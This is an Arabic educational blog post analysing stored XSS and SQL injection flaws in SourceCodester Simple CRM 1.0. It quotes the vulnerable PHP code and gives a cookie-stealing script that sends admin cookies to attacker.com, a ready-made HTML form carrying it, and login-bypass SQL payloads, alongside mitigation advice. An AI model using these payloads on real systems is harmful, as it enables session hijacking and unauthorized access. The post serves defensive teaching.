
تحليل تعليمي لـ CVE-2023-24203 (ثغرة تخزين XSS) و CVE-2023-24204 (حقن SQL) في SourceCodester CRM، مع خطوات الاستغلال واستراتيجيات التخفيف.
في المشهد المتطور باستمرار للأمن السيبراني، تظل تطبيقات الويب هدفًا رئيسيًا للمهاجمين الذين يسعون لاستغلال الثغرات الأمنية. مؤخرًا، تم اكتشاف ثغرتين حرجتين في نظام إدارة علاقات العملاء (CRM) البسيط من SourceCodester الإصدار 1.0: CVE-2023-24203 و CVE-2023-24204. تشكل هذه الثغرات، التي تشمل البرمجة النصية عبر المواقع (XSS) وحقن SQL، مخاطر كبيرة بما في ذلك تنفيذ التعليمات البرمجية التعسفية والوصول غير المصرح به. يعد فهم هذه الثغرات وتأثيراتها أمرًا ضروريًا للمطورين ومتخصصي الأمن لحماية الأنظمة من التهديدات المحتملة.
البرمجة النصية عبر المواقع (XSS) هي نوع من الثغرات التي تحدث عندما يسمح تطبيق الويب للمستخدمين بحقن نصوص برمجية ضارة في صفحات الويب التي يشاهدها مستخدمون آخرون. يمكن أن يؤدي ذلك إلى إجراءات غير مصرح بها نيابة عن المستخدم، وسرقة البيانات، والمزيد من الاستغلال. يمكن تصنيف ثغرات XSS إلى ثلاثة أنواع رئيسية:
حقن SQL هو نوع من الثغرات الذي يحدث عندما يتمكن المهاجم من التلاعب باستعلامات SQL عن طريق حقن كود SQL تعسفي في استعلام. يمكن أن يؤدي ذلك إلى الوصول غير المصرح به، وسرقة البيانات، وأنشطة ضارة أخرى. يحدث حقن SQL عادةً بسبب عدم كفاية التحقق من صحة المدخلات وعدم استخدام استعلامات ذات معلمات. تشمل التأثيرات الرئيسية لحقن SQL:
في هذه التدوينة، سوف نتعمق في CVE-2023-24203 و CVE-2023-24204، مستكشفين تفاصيل هذه الثغرات، ونواقل هجومها، وتأثيراتها، واستراتيجيات التخفيف. فهم هذه الثغرات بعمق أمر بالغ الأهمية لحماية تطبيقاتك وبياناتك من الاستغلال المحتمل.
غالبًا ما تكون ثغرات حقن SQL نتيجة لعدم كفاية التحقق من صحة المدخلات وممارسات البرمجة السيئة. تشمل بعض الأسباب الشائعة:
عادةً ما تحدث ثغرات البرمجة النصية عبر المواقع (XSS) بسبب الفشل في معالجة مدخلات ومخرجات المستخدم بشكل صحيح. تشمل الأسباب الشائعة:
CVE-2023-24203 هي ثغرة برمجة نصية عبر المواقع (XSS) مخزنة تم العثور عليها في مكون get-quote.php لنظام إدارة علاقات العملاء (CRM) البسيط من SourceCodester الإصدار 1.0. تسمح هذه الثغرة للمهاجم بحقن نصوص برمجية ضارة في معلمتي company و query، والتي يتم تخزينها بعد ذلك في قاعدة البيانات وتنفيذها عند عرضها من قبل المسؤول، مما يؤدي إلى تنفيذ تعليمات برمجية تعسفية.
توجد الثغرة في النص البرمجي get-quote.php، الذي يعالج إدخال المستخدم من نموذج طلب عرض سعر. يظهر كود مصدر PHP أدناه:
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
$name=$_POST['name'];
$email=$_POST['email'];
$contact=$_POST['contact'];
$company=$_POST['company'];
$services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
$other=$_POST['other'];
$query=$_POST['query'];
$pd=date('Y-m-d');
mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
echo "<script>alert('Query received. We will contact you soon.');</script>";
echo "<script>window.location.href='get-quote.php'</script>";
}
?>
يأخذ النص البرمجي مدخلات المستخدم من النموذج (الاسم، البريد الإلكتروني، جهة الاتصال، الشركة، الخدمات، أخرى، والاستعلام) ويدرجها مباشرة في استعلام SQL لتخزين البيانات في قاعدة البيانات. بينما يتم تعقيم مدخلات الخدمات باستخدام mysqli_real_escape_string و addslashes، فإن معلمتي company و query لا يتم تعقيمهما أو ترميزهما بشكل صحيح عند إعادتهما في الاستجابة. يسمح هذا النقص في التعقيم والترميز المناسبين بحقن وتخزين نصوص برمجية ضارة في قاعدة البيانات.
لاستغلال هذه الثغرة، يمكن للمهاجم صياغة حمولة تتضمن كود JavaScript ضار في معلمة company أو query. عندما يعرض المسؤول طلب عرض السعر، سيتم تنفيذ النص البرمجي المحقون في متصفحه.
عن طريق إرسال الحمولة التالية في معلمة query:
<script>alert('XSS');</script>
يمكن للمهاجم تشغيل هجوم XSS عندما يعرض المسؤول طلب عرض السعر.
يمكن صياغة حمولة أكثر ضررًا لسرقة ملفات تعريف الارتباط الخاصة بجلسة المسؤول. باستخدام الحمولة التالية في معلمة query:
<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>
يمكن للمهاجم إرسال ملفات تعريف الارتباط الخاصة بالمسؤول إلى خادم بعيد يتحكم فيه المهاجم.
إرسال طلب عرض سعر ضار: يقوم المهاجم بملء نموذج طلب عرض السعر، وحقن الحمولة الضارة في حقل company أو query.
<form method="post" action="get-quote.php">
<input type="text" name="company" value="CompanyX"><br>
<input type="text" name="query" value="<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>"><br>
<input type="submit" name="submit" value="Submit">
</form>
عرض المسؤول للطلب: عندما يقوم المسؤول بتسجيل الدخول إلى نظام CRM ويعرض عرض السعر المقدم، يتم تنفيذ النص البرمجي الضار في متصفحه، مما يرسل ملفات تعريف الارتباط الخاصة بجلسته إلى خادم المهاجم.
يسمح الاستغلال الناجح لهذه الثغرة XSS المخزنة للمهاجم بتنفيذ JavaScript تعسفي في سياق متصفح المسؤول. يمكن أن يؤدي ذلك إلى إجراءات ضارة مختلفة، بما في ذلك:
لتخفيف هذه الثغرة، من الضروري تعقيم وترميز جميع مدخلات المستخدم قبل إدراجها في صفحة الويب. على وجه التحديد:
htmlspecialchars() لترميز الأحرف الخاصة في مدخلات المستخدم.CVE-2023-24204 هي ثغرة حقن SQL تم العثور عليها في مكوني get-quote.php و login.php لنظام إدارة علاقات العملاء (CRM) البسيط من SourceCodester الإصدار 1.0. تسمح هذه الثغرة للمهاجم بحقن أوامر SQL تعسفية في قاعدة البيانات، مما قد يؤدي إلى الوصول غير المصرح به والتلاعب بالبيانات.
توجد ثغرة حقن SQL في كل من النصوص البرمجية get-quote.php و admin/login.php. فيما يلي تحليل لكيفية ظهور هذه الثغرات واستغلالها.
يقوم النص البرمجي get-quote.php بمعالجة إدخال المستخدم من نموذج طلب عرض السعر. يظهر كود المصدر أدناه:
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
$name=$_POST['name'];
$email=$_POST['email'];
$contact=$_POST['contact'];
$company=$_POST['company'];
$services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
$other=$_POST['other'];
$query=$_POST['query'];
$pd=date('Y-m-d');
mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
echo "<script>alert('Query received. We will contact you soon.');</script>";
echo "<script>window.location.href='get-quote.php'</script>";
}
?>
ودعنا أيضًا نلقي نظرة على منطق كود مصدر login.php.
<?php
session_start();
error_reporting(0);
include("dbconnection.php");
if(isset($_POST['login']))
{
$ret=mysqli_query($con,"SELECT * FROM user WHERE email='".$_POST['email']."' and password='".$_POST['password']."'");
$num=mysqli_fetch_array($ret);
if($num>0)
{
$_SESSION['login']=$_POST['email'];
$_SESSION['id']=$num['id'];
$_SESSION['name']=$num['name'];
$val3 =date("Y/m/d");
date_default_timezone_set("Asia/Calcutta");
$time=date("h:i:sa");
$tim = $time;
$ip_address=$_SERVER['REMOTE_ADDR'];
$geopluginURL='http://www.geoplugin.net/php.gp?ip='.$ip_address;
$addrDetailsArr = unserialize(file_get_contents($geopluginURL));
$city = $addrDetailsArr['geoplugin_city'];
$country = $addrDetailsArr['geoplugin_countryName'];
ob_start();
system('ipconfig /all');
$mycom=ob_get_contents();
ob_clean();
$findme = "Physical";
$pmac = strpos($mycom, $findme);
$mac=substr($mycom,($pmac+36),17);
$ret=mysqli_query($con,"insert into usercheck(logindate,logintime,user_id,username,email,ip,mac,city,country)values('".$val3."','".$tim."','".$_SESSION['id']."','".$_SESSION['name']."','".$_SESSION['login']."','$ip_address','$mac','$city','$country')");
$extra="dashboard.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
else
{
$_SESSION['action1']="Invalid username or password";
$extra="login.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
}
?>
لا يقوم النص البرمجي get-quote.php بتعقيم معلمة name بشكل كافٍ. يمكن للمهاجم اعتراض الطلب باستخدام أداة مثل Burp Suite، وتعديل معلمة name، وحقن أوامر SQL ضارة.
النص البرمجي login.php عرضة لتجاوز المصادقة بسبب عدم وجود التحقق المناسب من صحة المدخلات في حقلي البريد الإلكتروني وكلمة المرور. يمكن للمهاجم استخدام حمولة مثل hack' or 1=1;# لتجاوز المصادقة والحصول على الوصول.
get-quote.phpname: حقن أوامر SQL ضارة في معلمة name. على سبيل المثال:' OR '1'='1';--
إرسال الطلب المعدل: أرسل الطلب المعدل إلى الخادم. سيتم تنفيذ أمر SQL المحقون بواسطة قاعدة البيانات.
استغلال login.php
انتقل إلى صفحة تسجيل الدخول: اذهب إلى صفحة login.php.
أدخل الحمولة الضارة: استخدم حمولة مثل hack' or 1=1;# في حقل البريد الإلكتروني وأي سلسلة في حقل كلمة المرور.
يمكن أن يؤدي الاستغلال الناجح لثغرات حقن SQL هذه إلى إجراءات ضارة مختلفة، بما في ذلك:
الوصول غير المصرح به: يمكن للمهاجمين الحصول على وصول إداري إلى النظام.
سرقة البيانات: يمكن للمهاجمين استخراج المعلومات الحساسة من قاعدة البيانات.
التلاعب بالبيانات: يمكن للمهاجمين تغيير أو إدراج أو حذف البيانات داخل قاعدة البيانات. التخفيف لتخفيف هذه الثغرات، من الضروري تنفيذ التحقق المناسب من صحة المدخلات واستخدام استعلامات ذات معلمات. على وجه التحديد:
استخدم العبارات المحضرة (Prepared Statements): قم بتنفيذ استعلامات ذات معلمات لمنع حقن SQL.
التحقق من صحة المدخلات: طبق التحقق الصارم من صحة المدخلات لضمان قبول البيانات المتوقعة فقط.
هروب المدخلات: قم بهروب جميع مدخلات المستخدم بشكل صحيح قبل استخدامها في استعلامات SQL. من خلال اتباع أفضل الممارسات هذه، يمكنك تقليل مخاطر هجمات حقن SQL بشكل كبير وحماية تطبيق الويب الخاص بك من الاستغلال المحتمل.